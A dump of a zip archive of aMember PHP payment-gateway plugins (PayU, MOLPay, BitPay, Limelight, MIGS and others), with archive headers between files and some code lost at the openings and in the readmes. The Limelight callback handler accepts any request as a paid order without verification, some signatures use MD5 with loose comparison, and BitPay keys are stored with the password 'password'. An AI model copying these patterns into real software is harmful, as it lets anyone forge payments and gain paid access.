$user->sendRegistrationEmail(); if ($this->getPlugin()->getDi()->config->get('registration_mail_admin')) $user->sendRegistrationToAdminEmail(); } $invoice = $this->getPlugin()->getDi()->invoiceRecord; $invoice->setUser($user); $item = $invoice->createItem($product); $item->first_price = $this->getAmount(); $item->rebill_times = 0; $item->second_price = 0; $item->add(1); $invoice->addItem($item); $invoice->calculate(); $invoice->paysys_id = $this->plugin->getId(); $invoice->insert(); $invoice->_autoCreated = true; if ($invoice && $this->log) { $this->log->updateQuick(array( 'invoice_id' => $invoice->pk(), 'user_id' => $user->user_id, )); } return $invoice; } public function getUniqId() { return $this->request->get('WSO_TXN_ID'); } } class Am_Paysystem_Transaction_WarriorPaymentsRefund extends Am_Paysystem_Transaction_WarriorPayments { public function findInvoiceId() { if($payment = $this->getPlugin()->getDi()->invoicePaymentTable->findFirstByReceiptId($this->request->get('WSO_TXN_ID'))) return $payment->invoice_public_id; } public function getUniqId() { return $this->request->get('WSO_TXN_ID') . '-RFND'; } public function processValidated() { $this->invoice->addRefund($this, $this->request->get('WSO_TXN_ID')); } }PK\T\payment/avangate.phpnu[paysystemList->getList() as $k => $p) { if ($p->getId() == $this->getId()) $p->setPublic(false); } $di->billingPlanTable->customFields()->add( new Am_CustomFieldText( 'avangate_id', "Avangate product ID", "" , array(/* ,'required' */) )); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText("merchant_id") ->setLabel('Your Realex Merchant ID'); $form->addPassword('secret')->setLabel('Secret key'); $form->addAdvcheckbox('testing')->setLabel('Testing mode'); } public function canAutoCreate() { return true; } protected function _afterInitSetupForm(Am_Form_Setup $form) { parent::_afterInitSetupForm($form); $form->removeElementByName($this->_configPrefix . $this->getId() . '.auto_create'); } function getConfig($key = null, $default = null) { switch ($key) { case 'testing' : return false; case 'auto_create' : return true; default: return parent::getConfig($key, $default); } } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Avangate($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getSupportedCurrencies() { return array('USD'); } public function getReadme() { $ipn = $this->getPluginUrl('ipn'); $refund = $this->getPluginUrl('refund'); return << 'FIRSTNAME', 'name_l' => 'LASTNAME', 'email' => 'CUSTOMEREMAIL', 'state' => 'STATE', 'country' => 'COUNTRY', 'zip' => 'ZIPCODE', 'street' => 'ADDRESS1', 'street2' => 'ADDRESS2', 'city' => 'CITY', 'user_external_id' => 'CUSTOMEREMAIL', 'invoice_external_id' => 'REFNO', ); public function autoCreateGetProducts() { $products = array(); foreach ((array)$this->request->get('IPN_PID') as $l) { $pl = Am_Di::getInstance()->billingPlanTable->findFirstByData('avangate_id', $l); if (!$pl) continue; $p = $pl->getProduct(); if ($p) $products[] = $p; } return $products; } public function findInvoiceId() { return $this->request->getFiltered('REFNO'); } public function getUniqId() { return $this->request->getFiltered('REFNO'); } public function validateSource() { $arr = array(); foreach($this->request->getPost() as $k => $v) { if($k == 'HASH') continue; if(@is_array($v)) $arr[] = $v[0]; else $arr[] = $v; } $hash = hash_hmac('md5', $this->getstrforhash($arr), $this->getPlugin()->getConfig('secret')); return $hash == $this->request->get('HASH'); } public function getAmount() { return moneyRound($this->request->get('IPN_TOTALGENERAL')); } public function validateStatus() { return $this->request->getFiltered('ORDERSTATUS') == 'COMPLETE'; } public function validateTerms() { return true; } public function processValidated() { try{ parent::processValidated(); } catch(Am_Exception_Paysystem $e) { Am_Di::getInstance()->errorLogTable->logException($e); $this->answer(); return; } $this->answer(); } public function answer() { $dt = date("YmdGis"); $arr = array(); $IPN_PID = $this->request->get('IPN_PID'); $arr[] = $IPN_PID[0]; $IPN_PNAME = $this->request->get('IPN_PNAME'); $arr[] = $IPN_PNAME[0]; $arr[] = $this->request->get('IPN_DATE'); $arr[] = $dt; $hash = hash_hmac('md5', $this->getstrforhash($arr), $this->getPlugin()->getConfig('secret')); echo "$dt|$hash"; } function getstrforhash($arr) { $res = ''; foreach($arr as $a) if($l = @strlen($a)) $res.=$l.$a; else $res.='0'; return $res; } public function validate() { try{ parent::validate(); } catch(Am_Exception_Paysystem $e) { Am_Di::getInstance()->errorLogTable->logException($e); $this->answer(); } } }PK\!!payment/payu.phpnu[addInteger('pos_id', array('size' => 20)) ->setLabel('Id punktu płatności (pos_id)'); $form->addText('key1', array('size' => 32, 'maxlength' => '32')) ->setLabel('Klucz MD5'); $form->addText('key2', array('size' => 32, 'maxlength' => '32')) ->setLabel('Drugi klucz MD5'); $form->addText('pos_auth_key', array('size' => 20, 'maxlength' => '32')) ->setLabel('Parametr pos_auth_key'); } public function isConfigured() { return $this->getConfig('pos_id') > ''; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $action = new Am_Paysystem_Action_Form(self::ACTION_URL); $vars = array_filter(array( 'pos_id' => $this->getConfig('pos_id'), 'pos_auth_key' => $this->getConfig('pos_auth_key'), 'session_id' => $invoice->public_id, 'amount' => round($invoice->first_total * 100), 'desc' => $invoice->getLineDescription(), 'first_name' => $invoice->getFirstName(), 'last_name' => $invoice->getLastName(), 'country' => $invoice->getCountry(), 'street' => $invoice->getStreet(), 'city' => $invoice->getCity(), 'post_code' => $invoice->getZip(), 'email' => $invoice->getEmail(), 'city' => $this->getConfig('lang'), 'client_ip' => $_SERVER['REMOTE_ADDR'], 'ts' => $this->getDi()->time )); ksort($vars); foreach ($vars as $k => $v) { $action->addParam($k, $v); } $action->sig = hash('sha256', http_build_query($vars) . '&' . $this->getConfig('key2')); $this->logOther('Payment Request', $action); $result->setAction($action); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Payu($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } function getReadme() { return <<PayU plugin - configuration (EN) / PayU plugin - konfiguracja (PL) Note! Plugin works only with the Polish version of PayU payments. *EN* 1. Enable PayU payment plugin at aMember CP->Setup->Plugins 2. Configure PayU payment plugin at aMember CP->Setup->PayU Set POS ID (pos_id), Key (MD5), Second key (MD5) and Payment authorisation key (pos_auth_key) in CP->Setup->PayU. The data are available in the PayU account. 3. Inside the PayU account: - go to My Shops->POS and edit selected POS - set "Error return address:" to: %root_url%/cancel - set "Successful return address:" to: %root_url%/thanks - set "Address for reports:" to: %root_url%/payment/payu/ipn 4. Test the plugin using the option "test payment" in PayU account *PL* 1. Włącz plugin: przejdź do panelu aMemeber -> Setup/Configuration -> Plugins i włącz plugin PayU. 2. Konfiguracja: przejdź do panelu aMemeber -> Setup/Configuration -> PayU i wpisz dane punktu płatności podane na Twoim koncie PayU. 3. W panelu PayU - przejdź do edycji punktu płatności - jako "Adres powrotu - błąd:" podaj: %root_url%/cancel - jako "Adres powrotu - poprawnie:" podaj: %root_url%/thanks - jako "Adres raportów:" podaj: %root_url%/payment/payu/ipn 4. Przetestuj prawidłowe działania pluginu, korzystając z opcji płatności testowych w PayU CUT; } function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { try { return parent::directAction($request, $response, $invokeArgs); } catch (Exception $e) { $this->getDi()->errorLogTable->log($e); print "ERROR"; exit; } } function isRefundable(InvoicePayment $payment) { return false; } } class Am_Paysystem_Transaction_Payu extends Am_Paysystem_Transaction_Incoming { const ACTION_ADD = 'user.add'; const ACTION_REBILL = 'rebill'; const ACTION_DELETE = 'user.delete'; const SERVER = 'www.platnosci.pl'; const SERVER_SCRIPT = '/paygw/UTF/Payment/get'; // @todo: admin-cancel twocheckout public function findInvoiceId() { return $this->transaction->session_id; } public function genereateSignature($pos_id, $session_id, $ts) { return md5($pos_id . $session_id . $ts . $this->plugin->getConfig("key2")); } public function getUniqId() { return $this->transaction->session_id; } public function validateSource() { if (!$this->request->get("pos_id") || !$this->request->get("session_id") || !$this->request->get("ts") || !$this->request->get("sig")) throw new Am_Exception_Paysystem_TransactionInvalid("Empty Parametrs!"); if ($this->request->get("pos_id") != $this->plugin->getConfig("pos_id")) throw new Am_Exception_Paysystem_TransactionInvalid("WRONG POS ID!"); if ($this->genereateSignature($this->request->get("pos_id"), $this->request->get("session_id"), $this->request->get("ts")) != $this->request->get("sig")) throw new Am_Exception_Paysystem_TransactionInvalid("WRONG SIGNATURE!"); $this->getOrder($this->request->get("session_id")); return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { switch ($this->transaction->status) { case 99 : if ($this->invoice->getStatus() == 0) $this->invoice->addPayment($this); break; case 2 : $this->invoice->stopAccess($this); break; } print "OK"; } function xmlToArray(SimpleXMLElement $xml) { $arr = (array) $xml; foreach ($arr as $k => $v) if (is_object($v)) { $arr[$k] = $this->xmlToArray($v); if (empty($arr[$k])) $arr[$k] = null; } return $arr; } function getOrder($session_id) { $ts = time(); $sig = md5($this->plugin->getConfig('pos_id') . $session_id . $ts . $this->plugin->getConfig('key1')); $r = new Am_HttpRequest('https://' . self::SERVER . self::SERVER_SCRIPT, 'POST'); $r->addPostParameter(array( 'pos_id' => $this->plugin->getConfig('pos_id'), 'session_id' => $session_id, 'ts' => $ts, 'sig' => $sig )); $l = $this->plugin->logRequest($r); $response = $r->send()->getBody(); $l->add($response); $res = new SimpleXMLElement($response); if ($res->status != 'OK') throw new Am_Exception_Paysystem_TransactionInvalid("BAD RESPONSE STATUS!"); if ($res->trans->pos_id != $this->plugin->getConfig('pos_id')) throw new Am_Exception_Paysystem_TransactionInvalid("INCORECT POS NUMBER!"); $sig = md5($res->trans->pos_id . $res->trans->session_id . $res->trans->order_id . $res->trans->status . $res->trans->amount . $res->trans->desc . $res->trans->ts . $this->plugin->getConfig('key2')); if ($res->trans->sig != $sig) throw new Am_Exception_Paysystem_TransactionInvalid("INCORECT SIGNATURE!"); $this->transaction = $res->trans; /* Status: * 1: nowa * 2: anulowana * 3: odrzucona * 4: rozpoczęta * 5: oczekuje na odbiór * 6: autoryzacja odmowna * 7: płatność odrzucona * 99: płatność odebrana - zakończona * 888: błędny status */ return true; } }PK\RC""payment/molpay.phpnu[getConfig('merchant_id')); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('merchant_id', array('size' => 20)) ->setLabel("MOLPay Merchant ID") ->addRule('required'); $form->addText('verify_key', array('size' => 20)) ->setLabel("MOLPay Verify Key") ->addRule('required'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { /* Payment Method - Identity * Credit Payment Visa & Mastercard (default) - index.php Mobile Money - mobilemoney.php Ezeelink - ezeelink.php * Debit Payment Maybank2u Fund Transfer - maybank2u.php MEPS FPX - fpx.php CIMB Clicks - cimb.php RHB Online - rhb.php Hong Leong Bank Online - hlb.php Mepscash Online - mepscash.php Webcash - webcash.php */ $Payment_Method = ''; $url = sprintf($this->url, $this->getConfig('merchant_id'), $Payment_Method); $a = new Am_Paysystem_Action_Redirect($url); $a->amount = $invoice->first_total; $a->orderid = $invoice->public_id; $a->bill_name = utf8_encode($invoice->getName()); //UTF-8 encoding is recommended for Chinese contents $a->bill_email = $invoice->getEmail(); $a->bill_mobile = $invoice->getPhone(); $a->cur = $invoice->getCurrency(); $a->bill_desc = utf8_encode($invoice->getLineDescription()); //UTF-8 encoding is recommended for Chinese contents $a->returnurl = $this->getPluginUrl('thanks'); $a->vcode = md5($invoice->first_total.$this->getConfig('merchant_id').$invoice->public_id.$this->getConfig('verify_key')); $a->filterEmpty(); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Molpay($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Molpay_Thanks($this, $request, $response, $invokeArgs); } public function getReadme() { return << Setup/Configuration -> Plugins 2. Configure plugin: aMember CP -> Setup/Configuration -> MOLPay 3. Configure Callback URL in your MOLPay Merchant Profile to this URL: %root_url%/payment/molpay/ipn 4. Run a test transaction to ensure everything is working correctly. Testing account only verifies VISA and MasterCard number validity and NO actual transaction occurs between bank or payment gateway. VISA and MasterCard card number for testing: Positive Test MasterCard: 5105105105105100, 5555555555554444 VISA: 4111111111111111, 4012888888881881 Negative Test MasterCard: 5555555555554440 VISA: 4111111111111110 ------------------------------------------------------------------------------ CUT; } } /* nbcb * Numeric 1 Code that used to notify the incoming to merchant callback URL. amount * Floating point The transaction amount in one bill. orderid * Alpha-numeric The bill / invoice number appcode * Alpha-numeric Bank approval code tranID * Numeric Transaction ID for tracking purpose domain * Alpha-numeric Merchant ID status * Numeric 00, 11. 22 * Status of transaction : 00 is success, 11 is failure, 22 is pending error_code * Alpha-numeric Error code for failure transaction (if any). error_desc * Alpha-numeric Error description for failure transaction (if any). currency * Character It depends on the transacted currency. paydate * Date / Time YYYY-MM-DD HH:mm:ss Date and time of the transaction skey * Alpha-numeric MD5 encryption Encrypted string to verify whether the * transaction is from a valid source. Verify Key is required. */ class Am_Paysystem_Transaction_Molpay extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->get('tranID'); } public function getReceiptId() { return $this->request->get('tranID'); } public function getAmount() { return moneyRound($this->request->get('amount')); } public function findInvoiceId() { return $this->request->get('orderid'); } public function validateSource() { $key0 = md5( $this->request->get('tranID') . $this->request->get('orderid') . $this->request->get('status') . $this->request->get('domain') . $this->request->get('amount') . $this->request->get('currency') ); $key1 = md5( $this->request->get('paydate') . $this->request->get('domain') . $key0 . $this->request->get('appcode') . $this->getPlugin()->getConfig('verify_key') ); return $key1 == $this->request->get('skey'); } public function validateStatus() { return $this->request->get('status') == '00'; } public function validateTerms() { return true; } public function processValidated() { $this->invoice->addPayment($this); } } /* amount * Floating point The transaction amount in one bill. orderid * Alpha-numeric The bill / invoice number appcode * Alpha-numeric Bank approval code tranID * Numeric Transaction ID for tracking purpose domain * Alpha-numeric Merchant ID status * Numeric 00 or 11 Status of transaction, 00 is success and 11 isfailure error_code * * Alpha-numeric Error code for failure transaction (if any). error_desc * * Alpha-numeric Error description for failure transaction (if any). currency * Character Always “RM” paydate * Date / Time 2 channel Character skey Alpha-numeric uppercase characters YYYY-MM-DD HH:mm:ss * Date and time of the transaction channel * Character PM-ASIA skey * Alpha-numeric MD5 encryption * Encrypted string to verify whether the transaction is from a valid source. Verify Key is required. */ class Am_Paysystem_Transaction_Molpay_Thanks extends Am_Paysystem_Transaction_Incoming_Thanks { public function findInvoiceId() { return $this->request->get('orderid'); } public function getUniqId() { return $this->request->get('tranID'); } public function validateStatus() { return $this->request->get('status') == '00'; } public function validateTerms() { return true; } public function validateSource() { $key0 = md5( $this->request->get('tranID') . $this->request->get('orderid') . $this->request->get('status') . $this->request->get('domain') . $this->request->get('amount') . $this->request->get('currency') ); $key1 = md5( $this->request->get('paydate') . $this->request->get('domain') . $key0 . $this->request->get('appcode') . $this->getPlugin()->getConfig('verify_key') ); return $key1 == $this->request->get('skey'); } public function getInvoice() { return $this->invoice; } } PK\otA> > payment/securetrading.phpnu[addText('sitereference') ->setLabel("Site Refernce\n" . 'The unique Secure Trading site reference that you receive when you sign up'); $form->addText('secret') ->setLabel('Notification password'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $user = $invoice->getUser(); $a = new Am_Paysystem_Action_Redirect(self::LIVE_URL); $a->sitereference = $this->getConfig('sitereference'); $a->currencyiso3a = $invoice->currency; $a->mainamount = $invoice->first_total; $a->version = 1; $a->billingstreet = $user->street; $a->billingtown = $user->city; $a->billingcounty = $user->country; $a->billingpostcode = $user->zip; $a->billingfirstname = $user->name_f; $a->billinglastname = $user->name_l; $a->billingemail = $user->email; $a->billingtelephone = $user->phone; $a->customerstreet = $user->street; $a->customertown = $user->city; $a->customercounty = $user->country; $a->customerpostcode = $user->zip; $a->customerfirstname = $user->name_f; $a->customerlastname = $user->name_l; $a->customeremail = $user->email; $a->customertelephone = $user->phone; $a->orderreference = $invoice->public_id; $a->filterEmpty(); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Securetrading($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getSupportedCurrencies() { return array_keys(Am_Currency::getFullList()); } } class Am_Paysystem_Transaction_Securetrading extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->get('transactionreference'); } public function validateSource() { $ipnFields = $this->request->getPost(); unset($ipnFields['responsesitesecurity']); unset($ipnFields['notificationreference']); ksort($ipnFields); $hash = implode('', $ipnFields).$this->getPlugin()->getConfig('secret'); return $this->request->get('responsesitesecurity') == md5($hash); } public function validateStatus() { return $this->request->get('errorcode') == '0'; } public function validateTerms() { return doubleval($this->request->get('mainamount')) == doubleval($this->invoice->first_total); } public function findInvoiceId() { return $this->request->get('orderreference'); } }PK\J{;2;2payment/bitpay.phpnu[ 'Low: 6 confirmations, 30 minutes to 1 hour or more', 2 => 'Medium: 3 confirmations, approximately 10-30 minutes', 3 => 'High: Instant, for low priced digital products that require no confirmation' ); private $transactionSpeed = array( 1 => 'low', 2 => 'medium', 3 => 'high' ); public function getSupportedCurrencies() { return array_keys(Am_Currency::getFullList()); } function init() { parent::init(); Am_Di::getInstance()->productTable->customFields()->add( new Am_CustomFieldSelect('bitpay_speed_risk', 'Bitpay speed/risk', null, null, array('options' => array('' => 'Using plugin settings') + $this->transactionSpeedOptions)) ); } public function _initSetupForm(Am_Form_Setup $form) { $pre = 'payment.bitpay'; if (!empty($_GET['reset_bitpay_token'])) { $this->getDi()->config->saveValue($pre, array()); return Am_Mvc_Response::redirectLocation($this->getDi()->url("admin-setup/bitpay")); } if(!($pkey = $this->getConfig('pkeys.public'))) { $private = new \Bitpay\PrivateKey($this->getDi()->data_dir . '/bitpay-private.key'); $public = new \Bitpay\PublicKey($this->getDi()->data_dir . '/bitpay-public.key'); $private->generate(); $public->setPrivateKey($private); $public->generate(); $manager = new \Bitpay\KeyManager(new \Bitpay\Storage\EncryptedFilesystemStorage('password')); $manager->persist($private); $manager->persist($public); $this->getDi()->config->saveValue("$pre.pkeys",array( 'public' => serialize($public), 'private' => serialize($private))); } else { $public = unserialize($pkey); $private = unserialize($this->getConfig('pkeys.private')); } if(!($this->getConfig('token'))) { $client = $this->getClient(serialize($public), serialize($private)); $sin = \Bitpay\SinKey::create()->setPublicKey($public)->generate(); try { $token = $client->createToken(array( 'facade' => 'merchant', 'label' => $this->getDi()->config->get('site_title'), 'id' => (string) $sin)); } catch (\Exception $e) { $this->getDi()->errorLogTable->logException($e); } if($token) { $this->getDi()->config->saveValue("$pre.token", $tk_ = $token->getToken()); $this->getDi()->config->saveValue("$pre.pairing_code", $pc_ = $token->getPairingCode()); } } if ($tk = $this->getConfig('token', @$tk_)) { $_token = $form->addText('token_value')->setLabel(___("Token value"))->toggleFrozen(true); $form->setDefault('token_value', $tk); if($tk != $this->getConfig('token_ok')) { $client = $this->getClient(serialize($public), serialize($private), $tk); try { $res = $client->getTokens(); $this->getDi()->config->saveValue("$pre.token_ok", $tk); } catch (Exception $ex) { $form->addStatic()->setContent('
    Activate Token Code') ->setLabel(___("Follow the link to activate the token")); } } $form->addStatic()->setContent('Reset Token') ->setLabel(___("Follow the link to reset the token")); } $form->addSelect('bitpay_speed_risk') ->setLabel('Default Bitpay speed/risk') ->loadOptions($this->transactionSpeedOptions); } function isConfigured() { return $this->getConfig('token_value') && $this->getConfig('pairing_code'); } public function isNotAcceptableForInvoice(Invoice $invoice) { if ($invoice->rebill_times) { if (!(float) $invoice->first_total) { return ___("Can not handle this billing terms: " . "first_total is zero"); } if ($invoice->first_period != $invoice->second_period) { return ___("Can not handle this billing terms: " . "first_period != second_period"); } if (!in_array( $invoice->first_period, array('7d', '1m', '3m', '12m', '1y'))) { return ___("Can not handle this billing terms: " . "not in possible periods"); } if ($invoice->rebill_times != 99999) { return ___("Can not handle this billing terms: " . "rebill time must be forever"); } } return parent::isNotAcceptableForInvoice($invoice); } public function getClient($public, $private, $token_value = null, InvoiceLog $invoiceLog = null) { $adapter = new \Bitpay\Client\Adapter\CurlAdapter(); $network = new \Bitpay\Network\Livenet(); $client = new \Bitpay\Client\Client($invoiceLog); $client->setPrivateKey(unserialize($private)); $client->setPublicKey(unserialize($public)); $client->setNetwork($network); $client->setAdapter($adapter); if($token_value) { $token = new \Bitpay\Token(); $token->setToken($token_value); $client->setToken($token); } return $client; } function generatePeriod($period) { switch ($period) { case '7d': return 'weekly'; case '1m': return 'monthly'; case '3m': return 'quarterly'; case '12m': case '1y': return 'yearly'; default: throw new Am_Exception("Unhandled period: {$period}"); } } function getInvoiceLog(Invoice $invoice) { if (!@$this->log) { $this->log = $this->getDi()->invoiceLogRecord; if ($invoice) { $this->log->invoice_id = $invoice->invoice_id; $this->log->user_id = $invoice->user_id; } $this->log->paysys_id = $this->getId(); $this->log->remote_addr = $_SERVER['REMOTE_ADDR']; foreach ($this->getConfig() as $k => $v) if (is_scalar($v) && (strlen($v) > 4)) $this->log->mask($v); } return $this->log; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $user = $invoice->getUser(); $invoiceLog = $this->getInvoiceLog($invoice); $client = $this->getClient($this->getConfig('pkeys.public'), $this->getConfig('pkeys.private'), $this->getConfig('token_value'), $invoiceLog); $bitInvoice = new \Bitpay\Invoice(); $prSpeeds = array(); /* @var $product Product */ foreach ($invoice->getProducts() as $product) { $prSpeeds[] = ($o = $product->data()->get('bitpay_speed_risk')) ? $o : $this->getConfig('bitpay_speed_risk'); } $transactionSpeed = $this->transactionSpeed[min($prSpeeds)]; /* @var $item InvoiceItem */ foreach ($invoice->getItems() as $item) { $bitItem = new \Bitpay\Item(); $bitItem ->setDescription($item->item_description) ->setPrice($item->first_total) ->setQuantity($item->qty); $bitInvoice->setItem($bitItem); } $buyer = new \Bitpay\Buyer(); $buyer->setFirstName($user->name_f) ->setLastName($user->name_l) ->setPhone($user->phone) ->setEmail($user->email) ->setAddress( array( $user->street, $user->street2 ) ) ->setCity($user->city) ->setState($user->state) ->setZip($user->zip) ->setCountry($user->country); $bitInvoice->setBuyer($buyer); $bitInvoice->setCurrency(new \Bitpay\Currency($invoice->currency)); $bitInvoice->setTransactionSpeed($transactionSpeed); $bitInvoice->setPrice($invoice->first_total); $bitInvoice->setNotificationUrl($this->getPluginUrl('ipn')); $bitInvoice->setOrderId($invoice->public_id); $bitInvoice->setRedirectUrl($this->getReturnUrl()); try { $client->createInvoice($bitInvoice); } catch (\Exception $e) { throw new Am_Exception_InputError('Incorrect Gateway response received!'); } if($invoice->rebill_times) { $schedule = new Bitpay\Schedule(); $schedule->currency = $invoice->currency; $schedule->price = $invoice->second_total; $schedule->quantity = 1; $p = new Am_Period($invoice->first_period); $dueDate = $p->addTo($this->getDi()->sqlDate); list($y,$m,$d) = explode('-', $dueDate); if($d>28) $dueDate = "$y-$m-28"; $schedule->dueDate = $dueDate; $schedule->schedule = $this->generatePeriod($invoice->second_period); $schedule->items = array(array( 'price' => $invoice->second_total, 'quantity' => '1' )); try { $client->createSchedule($schedule); } catch (\Exception $e) { throw new Am_Exception_InputError('Incorrect Gateway response received!'); } } if(!($url = $bitInvoice->getUrl())) throw new Am_Exception_InputError('Incorrect Gateway response received!'); $invoice->data()->set(self::BITPAY_INVOICE_ID, $bitInvoice->getId())->update(); $result->setAction(new Am_Paysystem_Action_Redirect($url)); } public function getRecurringType() { return self::REPORTS_REBILL; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Bitpay($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Bitpay($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Bitpay extends Am_Paysystem_Transaction_Incoming { /** * @var Bitpay\Invoice */ private $bitInvoice, $vars; public function process() { $rawBody = $this->request->getRawBody(); $vars = json_decode($rawBody, true); if (!isset($vars['id'])) throw new Am_Exception_InternalError("BitPay API Error. Request[incoming] has no [id]."); /* @var $client Bitpay\Client\Client */ $client = $this->plugin->getClient($this->plugin->getConfig('pkeys.public'), $this->plugin->getConfig('pkeys.private'), $this->plugin->getConfig('token_value')); $this->vars = $vars; $this->bitInvoice = $client->getInvoice($vars['id']); parent::process(); } public function validateSource() { return true; } public function findInvoiceId() { if($invoice = Am_Di::getInstance() ->invoiceTable ->findFirstByData( Am_Paysystem_Bitpay::BITPAY_INVOICE_ID, $this->vars['id'])) return $invoice->public_id; else throw new Am_Exception_InternalError( "BitPay Error. " . "Not found invoice by bitpayInvoiceId " . "#[{$this->vars['id']}]."); } public function validateStatus() { switch ($this->bitInvoice->getStatus()) { case 'paid': case 'confirmed': case 'complete': return true; default: return false; } } public function getUniqId() { return (string) $this->vars['id']; } public function validateTerms() { $this->assertAmount( $this->invoice->first_total, (string)$this->bitInvoice->getPrice()); return true; } } PK\[payment/limelight.phpnu[removeElementByName($this->_configPrefix . $this->getId() . '.auto_create'); } public function canAutoCreate() { return true; } public function __construct(Am_Di $di, array $config) { parent::__construct($di, $config); foreach ($di->paysystemList->getList() as $k => $p) { if ($p->getId() == $this->getId()) $p->setPublic(false); } $di->billingPlanTable->customFields()->add( new Am_CustomFieldText( 'limelight_product_id', "Limelight Product Id", "" , array(/* ,'required' */) )); } public function isNotAcceptableForInvoice(Invoice $invoice) { return; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { // Nothing to do. } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Limelight($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getReadme() { $url = $this->getPluginUrl('api'); return <<Limelight plugin readme Installation 1 - Enable plugin at aMember CP -> Setup/Configuration -> Plugins -> Payment Plugins -> Limelight. 2 - Go at aMember CP -> Manage Products and edit each product: -fill 'Limelight Product Id' -click 'Save' button. 3 - Configure Limelight plugin at aMember CP -> Setup/Comfiguration -> Limelight: 4 - As postback URL use - $url?email={email}&fname={first_name}&lname={last_name}&amount={order_total}&order_id={order_id}&products={product_id_csv} CUT; } public function getConfig($key = null, $default = null) { if($key == 'auto_create') return true; else return parent::getConfig($key, $default); } } class Am_Paysystem_Transaction_Limelight extends Am_Paysystem_Transaction_Incoming { protected $_autoCreateMap = array( 'name_f' => 'fname', 'name_l' => 'lname', 'email' => 'email', 'user_external_id' => 'email', 'invoice_external_id' => 'order_id', ); public function autoCreateGetProducts() { $item_name = $this->request->get('products'); if (empty($item_name)) return; $billing_plan = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('limelight_product_id', $item_name); if ($billing_plan) return array($billing_plan->getProduct()); } public function getReceiptId() { return $this->request->get('order_id'); } public function getAmount() { return moneyRound($this->request->get('amount')); } public function getUniqId() { return @$this->request->get('order_id'); } public function validateSource() { return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { $this->invoice->addPayment($this); } public function findInvoiceId() { return $this->request->get('ctransreceipt'); } }PK\payment/migs.phpnu[addText('merchant_id')->setLabel('Merchant ID'); $form->addText('access_code')->setLabel("Access Code\n" . 'Authenticates the merchant on the Payment Server'); $form->addText('secure_hash', array('class' => 'el-wide')) ->setLabel("Secure Hash\n" . 'A secure hash which allows the Virtual Payment Client to authenticate the merchant and check the integrity of the transaction Request'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect(self::URL); $vars = array( 'vpc_Version' => '1', 'vpc_Command' => 'pay', 'vpc_MerchTxnRef' => $invoice->public_id, 'vpc_AccessCode' => $this->getConfig('access_code'), 'vpc_Merchant' => $this->getConfig('merchant_id'), 'vpc_OrderInfo' => $invoice->public_id, 'vpc_Amount' => intval($invoice->first_total * 100), 'vpc_Locale' => 'en', 'vpc_ReturnURL' => $this->getPluginUrl('thanks') ); $vars['vpc_SecureHash'] = $this->getHash($vars); $vars['vpc_SecureHashType'] = 'SHA256'; foreach($vars as $k=>$v){ $a->$k = $v; } $result->setAction($a); } function getHash($data) { ksort($data); $hashstring = array(); foreach ($data as $k=>$v) { $hashstring[] = "$k=$v"; } return strtoupper( hash_hmac('SHA256', implode("&", $hashstring), pack('H*', $this->getConfig('secure_hash'))) ); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Migs($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Migs extends Am_Paysystem_Transaction_Incoming_Thanks { function findInvoiceId() { return $this->request->getFiltered('vpc_OrderInfo'); } public function getUniqId() { return $this->request->getFiltered('vpc_ReceiptNo'); } public function validateSource() { if($this->getPlugin()->getConfig('merchant_id') != $this->request->get('vpc_Merchant')){ throw new Am_Exception_Paysystem_TransactionSource('Incorrect merchant ID received!'); } $vars = $this->request->toArray(); $secureHash = $vars['vpc_SecureHash']; unset($vars['vpc_SecureHash']); unset($vars['vpc_SecureHashType']); $hash = $this->plugin->getHash($vars); if($hash != $secureHash) throw new Am_Exception_Paysystem_TransactionInvalid('Unable to verity transaction. Calculated hash is not valid!'); return true; } public function validateStatus() { if($this->request->get('vpc_TxnResponseCode') != '0'){ throw new Am_Exception_Paysystem_TransactionInvalid('Transaction was not completed. Error code: 